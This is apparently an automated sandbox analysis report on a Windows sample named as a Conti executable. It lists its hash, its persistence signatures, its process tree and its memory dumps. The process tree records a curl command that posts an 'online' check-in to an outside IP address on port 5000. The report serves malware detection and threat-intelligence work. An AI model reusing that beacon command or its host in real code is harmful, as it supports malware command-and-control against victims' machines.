Overview

overview

6

Static

static

3

2026-05-01...ti.exe

windows10-2004-x64

6

2026-05-01...ti.exe

windows11-21h2-x64

6

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    05/05/2026, 23:17

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-05-01_5135fc6dfaca0749b57feab897480ad1_conti.exe
  • Size 716KB
  • Sample260505-297hlsgt21
  • SHA256 1a3e48943f75a64c6a7087c488d91ba4a0fbbfb747dae22b2df8c70301916a7e
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10
persistence

Malware Config

Signatures

  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-01_5135fc6dfaca0749b57feab897480ad1_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-01_5135fc6dfaca0749b57feab897480ad1_conti.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:1168
    • C:\Windows\SYSTEM32\curl.exe
      curl -s -X POST -H "Content-Type: application/json" -d "{"cmd":"online"}" http://78.17.59.138:5000/send
      2⤵
        PID:5036
    • C:\Users\Admin\AppData\Local\Temp\2026-05-01_5135fc6dfaca0749b57feab897480ad1_conti.exe
      C:\Users\Admin\AppData\Local\Temp\2026-05-01_5135fc6dfaca0749b57feab897480ad1_conti.exe
      1⤵
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:2096
      • C:\Windows\system32\curl.exe
        curl -s -X POST -H "Content-Type: application/json" -d "{"cmd":"online"}" http://78.17.59.138:5000/send
        2⤵
          PID:3172

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/1168-0-0x00007FF7ACCA0000-0x00007FF7ACD0F000-memory.dmp
            Download

            memory/2096-1-0x00007FF7ACCA0000-0x00007FF7ACD0F000-memory.dmp
            Download